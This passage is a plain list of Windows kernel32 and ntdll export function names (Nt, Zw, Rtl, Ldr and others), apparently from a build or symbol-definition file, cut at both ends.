SetConsoleWindowInfo SetCriticalSectionSpinCount SetCurrentDirectoryA SetCurrentDirectoryW - SetDefaultCommConfigA SetDefaultCommConfigW SetDllDirectoryA SetDllDirectoryW SetEndOfFile SetEnvironmentVariableA SetEnvironmentVariableW SetErrorMode - SetEvent SetFileApisToANSI SetFileApisToOEM SetFileAttributesA SetFileAttributesW SetFilePointer SetFilePointerEx SetFileShortNameA SetFileShortNameW - SetFileTime SetFileValidData SetFirmwareEnvironmentVariableA SetFirmwareEnvironmentVariableW SetHandleContext SetHandleCount SetHandleInformation - SetInformationJobObject SetLastConsoleEventActive SetLastError SetLocalPrimaryComputerNameA SetLocalPrimaryComputerNameW SetLocalTime SetLocaleInfoA - SetLocaleInfoW SetMailslotInfo SetMessageWaitingIndicator SetNamedPipeHandleState SetPriorityClass SetProcessAffinityMask SetProcessPriorityBoost - SetProcessShutdownParameters SetProcessWorkingSetSize SetStdHandle SetSystemPowerState SetSystemTime SetSystemTimeAdjustment SetTapeParameters SetTapePosition - SetTermsrvAppInstallMode SetThreadAffinityMask SetThreadContext SetThreadExecutionState SetThreadIdealProcessor SetThreadLocale SetThreadPriority - SetThreadPriorityBoost SetThreadUILanguage SetTimeZoneInformation SetTimerQueueTimer SetUnhandledExceptionFilter SetUserGeoID SetVDMCurrentDirectories - SetVolumeLabelA SetVolumeLabelW SetVolumeMountPointA SetVolumeMountPointW SetWaitableTimer SetupComm ShowConsoleCursor SignalObjectAndWait SizeofResource Sleep - SleepEx SuspendThread SwitchToFiber SwitchToThread SystemTimeToFileTime SystemTimeToTzSpecificLocalTime TerminateJobObject TerminateProcess TerminateThread - TermsrvAppInstallMode Thread32First Thread32Next TlsAlloc TlsFree TlsGetValue TlsSetValue Toolhelp32ReadProcessMemory TransactNamedPipe TransmitCommChar - TrimVirtualBuffer TryEnterCriticalSection TzSpecificLocalTimeToSystemTime UTRegister UTUnRegister UnhandledExceptionFilter UnlockFile UnlockFileEx - UnmapViewOfFile UnregisterConsoleIME UnregisterWait UnregisterWaitEx UpdateResourceA UpdateResourceW VDMConsoleOperation VDMOperationStarted ValidateLCType - ValidateLocale VerLanguageNameA VerLanguageNameW VerSetConditionMask VerifyConsoleIoHandle VerifyVersionInfoA VerifyVersionInfoW VirtualAlloc VirtualAllocEx - VirtualBufferExceptionHandler VirtualFree VirtualFreeEx VirtualLock VirtualProtect VirtualProtectEx VirtualQuery VirtualQueryEx VirtualUnlock - WTSGetActiveConsoleSessionId WaitCommEvent WaitForDebugEvent WaitForMultipleObjects WaitForMultipleObjectsEx WaitForSingleObject WaitForSingleObjectEx - WaitNamedPipeA WaitNamedPipeW WideCharToMultiByte WinExec WriteConsoleA WriteConsoleInputA WriteConsoleInputVDMA WriteConsoleInputVDMW WriteConsoleInputW - WriteConsoleOutputA WriteConsoleOutputAttribute WriteConsoleOutputCharacterA WriteConsoleOutputCharacterW WriteConsoleOutputW WriteConsoleW WriteFile - WriteFileEx WriteFileGather WritePrivateProfileSectionA WritePrivateProfileSectionW WritePrivateProfileStringA WritePrivateProfileStringW - WritePrivateProfileStructA WritePrivateProfileStructW WriteProcessMemory WriteProfileSectionA WriteProfileSectionW WriteProfileStringA WriteProfileStringW - WriteTapemark ZombifyActCtx _hread _hwrite _lclose _lcreat _llseek _lopen _lread _lwrite lstrcat lstrcatA lstrcatW lstrcmp lstrcmpA lstrcmpW lstrcmpi lstrcmpiA - lstrcmpiW lstrcpy lstrcpyA lstrcpyW lstrcpyn lstrcpynA lstrcpynW lstrlen lstrlenA lstrlenW -ntdll - PropertyLengthAsVariant RtlConvertPropertyToVariant RtlConvertVariantToProperty RtlInterlockedPushListSList RtlUlongByteSwap RtlUlonglongByteSwap - RtlUshortByteSwap CsrAllocateCaptureBuffer CsrAllocateMessagePointer CsrCaptureMessageBuffer CsrCaptureMessageMultiUnicodeStringsInPlace - CsrCaptureMessageString CsrCaptureTimeout CsrClientCallServer CsrClientConnectToServer CsrFreeCaptureBuffer CsrGetProcessId CsrIdentifyAlertableThread - CsrNewThread CsrProbeForRead CsrProbeForWrite CsrSetPriorityClass DbgBreakPoint DbgPrint DbgPrintEx DbgPrintReturnControlC DbgPrompt DbgQueryDebugFilterState - DbgSetDebugFilterState DbgUiConnectToDbg DbgUiContinue DbgUiConvertStateChangeStructure DbgUiDebugActiveProcess DbgUiGetThreadDebugObject - DbgUiIssueRemoteBreakin DbgUiRemoteBreakin DbgUiSetThreadDebugObject DbgUiStopDebugging DbgUiWaitStateChange DbgUserBreakPoint KiFastSystemCall - KiFastSystemCallRet KiIntSystemCall KiRaiseUserExceptionDispatcher KiUserApcDispatcher KiUserCallbackDispatcher KiUserExceptionDispatcher - LdrAccessOutOfProcessResource LdrAccessResource LdrAddRefDll LdrAlternateResourcesEnabled LdrCreateOutOfProcessImage LdrDestroyOutOfProcessImage - LdrDisableThreadCalloutsForDll LdrEnumResources LdrEnumerateLoadedModules LdrFindCreateProcessManifest LdrFindEntryForAddress LdrFindResourceDirectory_U - LdrFindResourceEx_U LdrFindResource_U LdrFlushAlternateResourceModules LdrGetDllHandle LdrGetDllHandleEx LdrGetProcedureAddress LdrHotPatchRoutine - LdrInitShimEngineDynamic LdrInitializeThunk LdrLoadAlternateResourceModule LdrLoadDll LdrLockLoaderLock LdrProcessRelocationBlock - LdrQueryImageFileExecutionOptions LdrQueryProcessModuleInformation LdrSetAppCompatDllRedirectionCallback LdrSetDllManifestProber LdrShutdownProcess - LdrShutdownThread LdrUnloadAlternateResourceModule LdrUnloadDll LdrUnlockLoaderLock LdrVerifyImageMatchesChecksum NlsAnsiCodePage NlsMbCodePageTag - NlsMbOemCodePageTag NtAcceptConnectPort NtAccessCheck NtAccessCheckAndAuditAlarm NtAccessCheckByType NtAccessCheckByTypeAndAuditAlarm - NtAccessCheckByTypeResultList NtAccessCheckByTypeResultListAndAuditAlarm NtAccessCheckByTypeResultListAndAuditAlarmByHandle NtAddAtom NtAddBootEntry - NtAdjustGroupsToken NtAdjustPrivilegesToken NtAlertResumeThread NtAlertThread NtAllocateLocallyUniqueId NtAllocateUserPhysicalPages NtAllocateUuids - NtAllocateVirtualMemory NtAreMappedFilesTheSame NtAssignProcessToJobObject NtCallbackReturn NtCancelDeviceWakeupRequest NtCancelIoFile NtCancelTimer - NtClearEvent NtClose NtCloseObjectAuditAlarm NtCompactKeys NtCompareTokens NtCompleteConnectPort NtCompressKey NtConnectPort NtContinue NtCreateDebugObject - NtCreateDirectoryObject NtCreateEvent NtCreateEventPair NtCreateFile NtCreateIoCompletion NtCreateJobObject NtCreateJobSet NtCreateKey NtCreateKeyedEvent - NtCreateMailslotFile NtCreateMutant NtCreateNamedPipeFile NtCreatePagingFile NtCreatePort NtCreateProcess NtCreateProcessEx NtCreateProfile NtCreateSection - NtCreateSemaphore NtCreateSymbolicLinkObject NtCreateThread NtCreateTimer NtCreateToken NtCreateWaitablePort NtCurrentTeb NtDebugActiveProcess NtDebugContinue - NtDelayExecution NtDeleteAtom NtDeleteBootEntry NtDeleteFile NtDeleteKey NtDeleteObjectAuditAlarm NtDeleteValueKey NtDeviceIoControlFile NtDisplayString - NtDuplicateObject NtDuplicateToken NtEnumerateBootEntries NtEnumerateKey NtEnumerateSystemEnvironmentValuesEx NtEnumerateValueKey NtExtendSection NtFilterToken - NtFindAtom NtFlushBuffersFile NtFlushInstructionCache NtFlushKey NtFlushVirtualMemory NtFlushWriteBuffer NtFreeUserPhysicalPages NtFreeVirtualMemory - NtFsControlFile NtGetContextThread NtGetDevicePowerState NtGetPlugPlayEvent NtGetWriteWatch NtImpersonateAnonymousToken NtImpersonateClientOfPort - NtImpersonateThread NtInitializeRegistry NtInitiatePowerAction NtIsProcessInJob NtIsSystemResumeAutomatic NtListenPort NtLoadDriver NtLoadKey2 NtLoadKey - NtLockFile NtLockProductActivationKeys NtLockRegistryKey NtLockVirtualMemory NtMakePermanentObject NtMakeTemporaryObject NtMapUserPhysicalPages - NtMapUserPhysicalPagesScatter NtMapViewOfSection NtModifyBootEntry NtNotifyChangeDirectoryFile NtNotifyChangeKey NtNotifyChangeMultipleKeys - NtOpenDirectoryObject NtOpenEvent NtOpenEventPair NtOpenFile NtOpenIoCompletion NtOpenJobObject NtOpenKey NtOpenKeyedEvent NtOpenMutant NtOpenObjectAuditAlarm - NtOpenProcess NtOpenProcessToken NtOpenProcessTokenEx NtOpenSection NtOpenSemaphore NtOpenSymbolicLinkObject NtOpenThread NtOpenThreadToken NtOpenThreadTokenEx - NtOpenTimer NtPlugPlayControl NtPowerInformation NtPrivilegeCheck NtPrivilegeObjectAuditAlarm NtPrivilegedServiceAuditAlarm NtProtectVirtualMemory NtPulseEvent - NtQueryAttributesFile NtQueryBootEntryOrder NtQueryBootOptions NtQueryDebugFilterState NtQueryDefaultLocale NtQueryDefaultUILanguage NtQueryDirectoryFile - NtQueryDirectoryObject NtQueryEaFile NtQueryEvent NtQueryFullAttributesFile NtQueryInformationAtom NtQueryInformationFile NtQueryInformationJobObject - NtQueryInformationPort NtQueryInformationProcess NtQueryInformationThread NtQueryInformationToken NtQueryInstallUILanguage NtQueryIntervalProfile - NtQueryIoCompletion NtQueryKey NtQueryMultipleValueKey NtQueryMutant NtQueryObject NtQueryOpenSubKeys NtQueryPerformanceCounter NtQueryPortInformationProcess - NtQueryQuotaInformationFile NtQuerySection NtQuerySecurityObject NtQuerySemaphore NtQuerySymbolicLinkObject NtQuerySystemEnvironmentValue - NtQuerySystemEnvironmentValueEx NtQuerySystemInformation NtQuerySystemTime NtQueryTimer NtQueryTimerResolution NtQueryValueKey NtQueryVirtualMemory - NtQueryVolumeInformationFile NtQueueApcThread NtRaiseException NtRaiseHardError NtReadFile NtReadFileScatter NtReadRequestData NtReadVirtualMemory - NtRegisterThreadTerminatePort NtReleaseKeyedEvent NtReleaseMutant NtReleaseSemaphore NtRemoveIoCompletion NtRemoveProcessDebug NtRenameKey NtReplaceKey - NtReplyPort NtReplyWaitReceivePort NtReplyWaitReceivePortEx NtReplyWaitReplyPort NtRequestDeviceWakeup NtRequestPort NtRequestWaitReplyPort - NtRequestWakeupLatency NtResetEvent NtResetWriteWatch NtRestoreKey NtResumeProcess NtResumeThread NtSaveKey NtSaveKeyEx NtSaveMergedKeys NtSecureConnectPort - NtSetBootEntryOrder NtSetBootOptions NtSetContextThread NtSetDebugFilterState NtSetDefaultHardErrorPort NtSetDefaultLocale NtSetDefaultUILanguage NtSetEaFile - NtSetEvent NtSetEventBoostPriority NtSetHighEventPair NtSetHighWaitLowEventPair NtSetInformationDebugObject NtSetInformationFile NtSetInformationJobObject - NtSetInformationKey NtSetInformationObject NtSetInformationProcess NtSetInformationThread NtSetInformationToken NtSetIntervalProfile NtSetIoCompletion - NtSetLdtEntries NtSetLowEventPair NtSetLowWaitHighEventPair NtSetQuotaInformationFile NtSetSecurityObject NtSetSystemEnvironmentValue - NtSetSystemEnvironmentValueEx NtSetSystemInformation NtSetSystemPowerState NtSetSystemTime NtSetThreadExecutionState NtSetTimer NtSetTimerResolution - NtSetUuidSeed NtSetValueKey NtSetVolumeInformationFile NtShutdownSystem NtSignalAndWaitForSingleObject NtStartProfile NtStopProfile NtSuspendProcess - NtSuspendThread NtSystemDebugControl NtTerminateJobObject NtTerminateProcess NtTerminateThread NtTestAlert NtTraceEvent NtTranslateFilePath NtUnloadDriver - NtUnloadKey NtUnloadKeyEx NtUnlockFile NtUnlockVirtualMemory NtUnmapViewOfSection NtVdmControl NtWaitForDebugEvent NtWaitForKeyedEvent NtWaitForMultipleObjects - NtWaitForSingleObject NtWaitHighEventPair NtWaitLowEventPair NtWriteFile NtWriteFileGather NtWriteRequestData NtWriteVirtualMemory NtYieldExecution - PfxFindPrefix PfxInitialize PfxInsertPrefix PfxRemovePrefix RtlAbortRXact RtlAbsoluteToSelfRelativeSD RtlAcquirePebLock RtlAcquireResourceExclusive - RtlAcquireResourceShared RtlActivateActivationContext RtlActivateActivationContextEx RtlActivateActivationContextUnsafeFast RtlAddAccessAllowedAce - RtlAddAccessAllowedAceEx RtlAddAccessAllowedObjectAce RtlAddAccessDeniedAce RtlAddAccessDeniedAceEx RtlAddAccessDeniedObjectAce RtlAddAce RtlAddActionToRXact - RtlAddAtomToAtomTable RtlAddAttributeActionToRXact RtlAddAuditAccessAce RtlAddAuditAccessAceEx RtlAddAuditAccessObjectAce RtlAddCompoundAce RtlAddRange - RtlAddRefActivationContext RtlAddRefMemoryStream RtlAddVectoredExceptionHandler RtlAddressInSectionTable RtlAdjustPrivilege RtlAllocateAndInitializeSid - RtlAllocateHandle RtlAllocateHeap RtlAnsiCharToUnicodeChar RtlAnsiStringToUnicodeSize RtlAnsiStringToUnicodeString RtlAppendAsciizToString RtlAppendPathElement - RtlAppendStringToString RtlAppendUnicodeStringToString RtlAppendUnicodeToString RtlApplicationVerifierStop RtlApplyRXact RtlApplyRXactNoFlush - RtlAreAllAccessesGranted RtlAreAnyAccessesGranted RtlAreBitsClear RtlAreBitsSet RtlAssert2 RtlAssert RtlCancelTimer RtlCaptureContext RtlCaptureStackBackTrace - RtlCaptureStackContext RtlCharToInteger RtlCheckForOrphanedCriticalSections RtlCheckProcessParameters RtlCheckRegistryKey RtlClearAllBits RtlClearBits - RtlCloneMemoryStream RtlCommitMemoryStream RtlCompactHeap RtlCompareMemory RtlCompareMemoryUlong RtlCompareString RtlCompareUnicodeString RtlCompressBuffer - RtlComputeCrc32 RtlComputeImportTableHash RtlComputePrivatizedDllName_U RtlConsoleMultiByteToUnicodeN RtlConvertExclusiveToShared RtlConvertLongToLargeInteger - RtlConvertSharedToExclusive RtlConvertSidToUnicodeString RtlConvertToAutoInheritSecurityObject RtlConvertUiListToApiList RtlConvertUlongToLargeInteger - RtlCopyLuid RtlCopyLuidAndAttributesArray RtlCopyMemoryStreamTo RtlCopyOutOfProcessMemoryStreamTo RtlCopyRangeList RtlCopySecurityDescriptor RtlCopySid - RtlCopySidAndAttributesArray RtlCopyString RtlCopyUnicodeString RtlCreateAcl RtlCreateActivationContext RtlCreateAndSetSD RtlCreateAtomTable - RtlCreateBootStatusDataFile RtlCreateEnvironment RtlCreateHeap RtlCreateProcessParameters RtlCreateQueryDebugBuffer RtlCreateRegistryKey - RtlCreateSecurityDescriptor RtlCreateSystemVolumeInformationFolder RtlCreateTagHeap RtlCreateTimer RtlCreateTimerQueue RtlCreateUnicodeString - RtlCreateUnicodeStringFromAsciiz RtlCreateUserProcess RtlCreateUserSecurityObject RtlCreateUserThread RtlCustomCPToUnicodeN RtlCutoverTimeToSystemTime - RtlDeNormalizeProcessParams RtlDeactivateActivationContext RtlDeactivateActivationContextUnsafeFast RtlDebugPrintTimes RtlDecodePointer RtlDecodeSystemPointer - RtlDecompressBuffer RtlDecompressFragment RtlDefaultNpAcl RtlDelete RtlDeleteAce RtlDeleteAtomFromAtomTable RtlDeleteCriticalSection - RtlDeleteElementGenericTable RtlDeleteElementGenericTableAvl RtlDeleteNoSplay RtlDeleteOwnersRanges RtlDeleteRange RtlDeleteRegistryValue RtlDeleteResource - RtlDeleteSecurityObject RtlDeleteTimer RtlDeleteTimerQueue RtlDeleteTimerQueueEx RtlDeregisterWait RtlDeregisterWaitEx RtlDestroyAtomTable - RtlDestroyEnvironment RtlDestroyHandleTable RtlDestroyHeap RtlDestroyProcessParameters RtlDestroyQueryDebugBuffer RtlDetermineDosPathNameType_U - RtlDllShutdownInProgress RtlDnsHostNameToComputerName RtlDoesFileExists_U RtlDosApplyFileIsolationRedirection_Ustr RtlDosPathNameToNtPathName_U - RtlDosSearchPath_U RtlDosSearchPath_Ustr RtlDowncaseUnicodeChar RtlDowncaseUnicodeString RtlDumpResource RtlDuplicateUnicodeString RtlEmptyAtomTable - RtlEnableEarlyCriticalSectionEventCreation RtlEncodePointer RtlEncodeSystemPointer RtlEnlargedIntegerMultiply RtlEnlargedUnsignedDivide - RtlEnlargedUnsignedMultiply RtlEnterCriticalSection RtlEnumProcessHeaps RtlEnumerateGenericTable RtlEnumerateGenericTableAvl - RtlEnumerateGenericTableLikeADirectory RtlEnumerateGenericTableWithoutSplaying RtlEnumerateGenericTableWithoutSplayingAvl RtlEqualComputerName - RtlEqualDomainName RtlEqualLuid RtlEqualPrefixSid RtlEqualSid RtlEqualString RtlEqualUnicodeString RtlEraseUnicodeString RtlExitUserThread - RtlExpandEnvironmentStrings_U RtlExtendHeap RtlExtendedIntegerMultiply RtlExtendedLargeIntegerDivide RtlExtendedMagicDivide RtlFillMemory RtlFillMemoryUlong - RtlFinalReleaseOutOfProcessMemoryStream RtlFindActivationContextSectionGuid RtlFindActivationContextSectionString RtlFindCharInUnicodeString RtlFindClearBits - RtlFindClearBitsAndSet RtlFindClearRuns RtlFindLastBackwardRunClear RtlFindLeastSignificantBit RtlFindLongestRunClear RtlFindMessage RtlFindMostSignificantBit - RtlFindNextForwardRunClear RtlFindRange RtlFindSetBits RtlFindSetBitsAndClear RtlFirstEntrySList RtlFirstFreeAce RtlFlushSecureMemoryCache - RtlFormatCurrentUserKeyPath RtlFormatMessage RtlFreeAnsiString RtlFreeHandle RtlFreeHeap RtlFreeOemString RtlFreeRangeList RtlFreeSid - RtlFreeThreadActivationContextStack RtlFreeUnicodeString RtlFreeUserThreadStack RtlGUIDFromString RtlGenerate8dot3Name RtlGetAce RtlGetActiveActivationContext - RtlGetCallersAddress RtlGetCompressionWorkSpaceSize RtlGetControlSecurityDescriptor RtlGetCurrentDirectory_U RtlGetCurrentPeb RtlGetDaclSecurityDescriptor - RtlGetElementGenericTable RtlGetElementGenericTableAvl RtlGetFirstRange RtlGetFrame RtlGetFullPathName_U RtlGetGroupSecurityDescriptor RtlGetLastNtStatus - RtlGetLastWin32Error RtlGetLengthWithoutLastFullDosOrNtPathElement RtlGetLengthWithoutTrailingPathSeperators RtlGetLongestNtPathLength - RtlGetNativeSystemInformation RtlGetNextRange RtlGetNtGlobalFlags RtlGetNtProductType RtlGetNtVersionNumbers RtlGetOwnerSecurityDescriptor RtlGetProcessHeaps - RtlGetSaclSecurityDescriptor RtlGetSecurityDescriptorRMControl RtlGetSetBootStatusData RtlGetUnloadEventTrace RtlGetUserInfoHeap RtlGetVersion - RtlHashUnicodeString RtlIdentifierAuthoritySid RtlImageDirectoryEntryToData RtlImageNtHeader RtlImageRvaToSection RtlImageRvaToVa RtlImpersonateSelf - RtlInitAnsiString RtlInitCodePageTable RtlInitMemoryStream RtlInitNlsTables RtlInitOutOfProcessMemoryStream RtlInitString RtlInitUnicodeString - RtlInitUnicodeStringEx RtlInitializeAtomPackage RtlInitializeBitMap RtlInitializeContext RtlInitializeCriticalSection RtlInitializeCriticalSectionAndSpinCount - RtlInitializeGenericTable RtlInitializeGenericTableAvl RtlInitializeHandleTable RtlInitializeRXact RtlInitializeRangeList RtlInitializeResource - RtlInitializeSListHead RtlInitializeSid RtlInitializeStackTraceDataBase RtlInsertElementGenericTable RtlInsertElementGenericTableAvl RtlInt64ToUnicodeString - RtlIntegerToChar RtlIntegerToUnicodeString RtlInterlockedFlushSList RtlInterlockedPopEntrySList RtlInterlockedPushEntrySList RtlInvertRangeList - RtlIpv4AddressToStringA RtlIpv4AddressToStringExA RtlIpv4AddressToStringExW RtlIpv4AddressToStringW RtlIpv4StringToAddressA RtlIpv4StringToAddressExA - RtlIpv4StringToAddressExW RtlIpv4StringToAddressW RtlIpv6AddressToStringA RtlIpv6AddressToStringExA RtlIpv6AddressToStringExW RtlIpv6AddressToStringW - RtlIpv6StringToAddressA RtlIpv6StringToAddressExA RtlIpv6StringToAddressExW RtlIpv6StringToAddressW RtlIsActivationContextActive RtlIsDosDeviceName_U - RtlIsGenericTableEmpty RtlIsGenericTableEmptyAvl RtlIsNameLegalDOS8Dot3 RtlIsRangeAvailable RtlIsTextUnicode RtlIsThreadWithinLoaderCallout RtlIsValidHandle - RtlIsValidIndexHandle RtlLargeIntegerAdd RtlLargeIntegerArithmeticShift RtlLargeIntegerDivide RtlLargeIntegerNegate RtlLargeIntegerShiftLeft - RtlLargeIntegerShiftRight RtlLargeIntegerSubtract RtlLargeIntegerToChar RtlLeaveCriticalSection RtlLengthRequiredSid RtlLengthSecurityDescriptor RtlLengthSid - RtlLocalTimeToSystemTime RtlLockBootStatusData RtlLockHeap RtlLockMemoryStreamRegion RtlLogStackBackTrace RtlLookupAtomInAtomTable RtlLookupElementGenericTable - RtlLookupElementGenericTableAvl RtlMakeSelfRelativeSD RtlMapGenericMask RtlMapSecurityErrorToNtStatus RtlMergeRangeLists RtlMoveMemory - RtlMultiAppendUnicodeStringBuffer RtlMultiByteToUnicodeN RtlMultiByteToUnicodeSize RtlNewInstanceSecurityObject RtlNewSecurityGrantedAccess - RtlNewSecurityObject RtlNewSecurityObjectEx RtlNewSecurityObjectWithMultipleInheritance RtlNormalizeProcessParams RtlNtPathNameToDosPathName - RtlNtStatusToDosError RtlNtStatusToDosErrorNoTeb RtlNumberGenericTableElements RtlNumberGenericTableElementsAvl RtlNumberOfClearBits RtlNumberOfSetBits - RtlOemStringToUnicodeSize RtlOemStringToUnicodeString RtlOemToUnicodeN RtlOpenCurrentUser RtlPcToFileHeader RtlPinAtomInAtomTable RtlPopFrame RtlPrefixString - RtlPrefixUnicodeString RtlProtectHeap RtlPushFrame RtlQueryAtomInAtomTable RtlQueryDepthSList RtlQueryEnvironmentVariable_U RtlQueryHeapInformation - RtlQueryInformationAcl RtlQueryInformationActivationContext RtlQueryInformationActiveActivationContext RtlQueryInterfaceMemoryStream - RtlQueryProcessBackTraceInformation RtlQueryProcessDebugInformation RtlQueryProcessHeapInformation RtlQueryProcessLockInformation RtlQueryRegistryValues - RtlQuerySecurityObject RtlQueryTagHeap RtlQueryTimeZoneInformation RtlQueueApcWow64Thread RtlQueueWorkItem RtlRaiseException RtlRaiseStatus RtlRandom - RtlRandomEx RtlReAllocateHeap RtlReadMemoryStream RtlReadOutOfProcessMemoryStream RtlRealPredecessor RtlRealSuccessor RtlRegisterSecureMemoryCacheCallback - RtlRegisterWait RtlReleaseActivationContext RtlReleaseMemoryStream RtlReleasePebLock RtlReleaseResource RtlRemoteCall RtlRemoveVectoredExceptionHandler - RtlResetRtlTranslations RtlRestoreLastWin32Error RtlRevertMemoryStream RtlRunDecodeUnicodeString RtlRunEncodeUnicodeString RtlSecondsSince1970ToTime - RtlSecondsSince1980ToTime RtlSeekMemoryStream RtlSelfRelativeToAbsoluteSD2 RtlSelfRelativeToAbsoluteSD RtlSetAllBits RtlSetAttributesSecurityDescriptor - RtlSetBits RtlSetControlSecurityDescriptor RtlSetCriticalSectionSpinCount RtlSetCurrentDirectory_U RtlSetCurrentEnvironment RtlSetDaclSecurityDescriptor - RtlSetEnvironmentVariable RtlSetGroupSecurityDescriptor RtlSetHeapInformation RtlSetInformationAcl RtlSetIoCompletionCallback RtlSetLastWin32Error - RtlSetLastWin32ErrorAndNtStatusFromNtStatus RtlSetMemoryStreamSize RtlSetOwnerSecurityDescriptor RtlSetProcessIsCritical RtlSetSaclSecurityDescriptor - RtlSetSecurityDescriptorRMControl RtlSetSecurityObject RtlSetSecurityObjectEx RtlSetThreadIsCritical RtlSetThreadPoolStartFunc RtlSetTimeZoneInformation - RtlSetTimer RtlSetUnicodeCallouts RtlSetUserFlagsHeap RtlSetUserValueHeap RtlSizeHeap RtlSplay RtlStartRXact RtlStatMemoryStream RtlStringFromGUID - RtlSubAuthorityCountSid RtlSubAuthoritySid RtlSubtreePredecessor RtlSubtreeSuccessor RtlSystemTimeToLocalTime RtlTimeFieldsToTime RtlTimeToElapsedTimeFields - RtlTimeToSecondsSince1970 RtlTimeToSecondsSince1980 RtlTimeToTimeFields RtlTraceDatabaseAdd RtlTraceDatabaseCreate RtlTraceDatabaseDestroy - RtlTraceDatabaseEnumerate RtlTraceDatabaseFind RtlTraceDatabaseLock RtlTraceDatabaseUnlock RtlTraceDatabaseValidate RtlTryEnterCriticalSection - RtlUnhandledExceptionFilter2 RtlUnhandledExceptionFilter RtlUnicodeStringToAnsiSize RtlUnicodeStringToAnsiString RtlUnicodeStringToCountedOemString - RtlUnicodeStringToInteger RtlUnicodeStringToOemSize RtlUnicodeStringToOemString RtlUnicodeToCustomCPN RtlUnicodeToMultiByteN RtlUnicodeToMultiByteSize - RtlUnicodeToOemN RtlUniform RtlUnlockBootStatusData RtlUnlockHeap RtlUnlockMemoryStreamRegion RtlUnwind RtlUpcaseUnicodeChar RtlUpcaseUnicodeString - RtlUpcaseUnicodeStringToAnsiString RtlUpcaseUnicodeStringToCountedOemString RtlUpcaseUnicodeStringToOemString RtlUpcaseUnicodeToCustomCPN - RtlUpcaseUnicodeToMultiByteN RtlUpcaseUnicodeToOemN RtlUpdateTimer RtlUpperChar RtlUpperString RtlUsageHeap RtlValidAcl RtlValidRelativeSecurityDescriptor - RtlValidSecurityDescriptor RtlValidSid RtlValidateHeap RtlValidateProcessHeaps RtlValidateUnicodeString RtlVerifyVersionInfo RtlWalkFrameChain RtlWalkHeap - RtlWriteMemoryStream RtlWriteRegistryValue RtlZeroHeap RtlZeroMemory RtlZombifyActivationContext RtlpApplyLengthFunction RtlpEnsureBufferSize - RtlpNotOwnerCriticalSection RtlpNtCreateKey RtlpNtEnumerateSubKey RtlpNtMakeTemporaryKey RtlpNtOpenKey RtlpNtQueryValueKey RtlpNtSetValueKey - RtlpUnWaitCriticalSection RtlpWaitForCriticalSection RtlxAnsiStringToUnicodeSize RtlxOemStringToUnicodeSize RtlxUnicodeStringToAnsiSize - RtlxUnicodeStringToOemSize VerSetConditionMask ZwAcceptConnectPort ZwAccessCheck ZwAccessCheckAndAuditAlarm ZwAccessCheckByType - ZwAccessCheckByTypeAndAuditAlarm ZwAccessCheckByTypeResultList ZwAccessCheckByTypeResultListAndAuditAlarm ZwAccessCheckByTypeResultListAndAuditAlarmByHandle - ZwAddAtom ZwAddBootEntry ZwAdjustGroupsToken ZwAdjustPrivilegesToken ZwAlertResumeThread ZwAlertThread ZwAllocateLocallyUniqueId ZwAllocateUserPhysicalPages - ZwAllocateUuids ZwAllocateVirtualMemory ZwAreMappedFilesTheSame ZwAssignProcessToJobObject ZwCallbackReturn ZwCancelDeviceWakeupRequest ZwCancelIoFile - ZwCancelTimer ZwClearEvent ZwClose ZwCloseObjectAuditAlarm ZwCompactKeys ZwCompareTokens ZwCompleteConnectPort ZwCompressKey ZwConnectPort ZwContinue - ZwCreateDebugObject ZwCreateDirectoryObject ZwCreateEvent ZwCreateEventPair ZwCreateFile ZwCreateIoCompletion ZwCreateJobObject ZwCreateJobSet ZwCreateKey - ZwCreateKeyedEvent ZwCreateMailslotFile ZwCreateMutant ZwCreateNamedPipeFile ZwCreatePagingFile ZwCreatePort ZwCreateProcess ZwCreateProcessEx ZwCreateProfile - ZwCreateSection ZwCreateSemaphore ZwCreateSymbolicLinkObject ZwCreateThread ZwCreateTimer ZwCreateToken ZwCreateWaitablePort ZwDebugActiveProcess - ZwDebugContinue ZwDelayExecution ZwDeleteAtom ZwDeleteBootEntry ZwDeleteFile ZwDeleteKey ZwDeleteObjectAuditAlarm ZwDeleteValueKey ZwDeviceIoControlFile - ZwDisplayString ZwDuplicateObject ZwDuplicateToken ZwEnumerateBootEntries ZwEnumerateKey ZwEnumerateSystemEnvironmentValuesEx ZwEnumerateValueKey - ZwExtendSection ZwFilterToken ZwFindAtom ZwFlushBuffersFile ZwFlushInstructionCache ZwFlushKey ZwFlushVirtualMemory ZwFlushWriteBuffer ZwFreeUserPhysicalPages - ZwFreeVirtualMemory ZwFsControlFile ZwGetContextThread ZwGetDevicePowerState ZwGetPlugPlayEvent ZwGetWriteWatch ZwImpersonateAnonymousToken - ZwImpersonateClientOfPort ZwImpersonateThread ZwInitializeRegistry ZwInitiatePowerAction ZwIsProcessInJob ZwIsSystemResumeAutomatic ZwListenPort ZwLoadDriver - ZwLoadKey2 ZwLoadKey ZwLockFile ZwLockProductActivationKeys ZwLockRegistryKey ZwLockVirtualMemory ZwMakePermanentObject ZwMakeTemporaryObject - ZwMapUserPhysicalPages ZwMapUserPhysicalPagesScatter ZwMapViewOfSection ZwModifyBootEntry ZwNotifyChangeDirectoryFile ZwNotifyChangeKey - ZwNotifyChangeMultipleKeys ZwOpenDirectoryObject ZwOpenEvent ZwOpenEventPair ZwOpenFile ZwOpenIoCompletion ZwOpenJobObject ZwOpenKey ZwOpenKeyedEvent - ZwOpenMutant ZwOpenObjectAuditAlarm ZwOpenProcess ZwOpenProcessToken ZwOpenProcessTokenEx ZwOpenSection ZwOpenSemaphore ZwOpenSymbolicLinkObject ZwOpenThread - ZwOpenThreadToken ZwOpenThreadTokenEx ZwOpenTimer ZwPlugPlayControl ZwPowerInformation ZwPrivilegeCheck ZwPrivilegeObjectAuditAlarm - ZwPrivilegedServiceAuditAlarm ZwProtectVirtualMemory ZwPulseEvent ZwQueryAttributesFile ZwQueryBootEntryOrder ZwQueryBootOptions ZwQueryDebugFilterState - ZwQueryDefaultLocale ZwQueryDefaultUILanguage ZwQueryDirectoryFile ZwQueryDirectoryObject ZwQueryEaFile ZwQueryEvent ZwQueryFullAttributesFile - ZwQueryInformationAtom ZwQueryInformationFile ZwQueryInformationJobObject ZwQueryInformationPort ZwQueryInformationProcess ZwQueryInformationThread - ZwQueryInformationToken ZwQueryInstallUILanguage ZwQueryIntervalProfile ZwQueryIoCompletion ZwQueryKey ZwQueryMultipleValueKey ZwQueryMutant ZwQueryObject - ZwQueryOpenSubKeys ZwQueryPerformanceCounter ZwQueryPortInformationProcess ZwQueryQuotaInformationFile ZwQuerySection ZwQuerySecurityObject ZwQuerySemaphore - ZwQuerySymbolicLinkObject ZwQuerySystemEnvironmentValue ZwQuerySystemEnvironmentValueEx ZwQuerySystemInformation 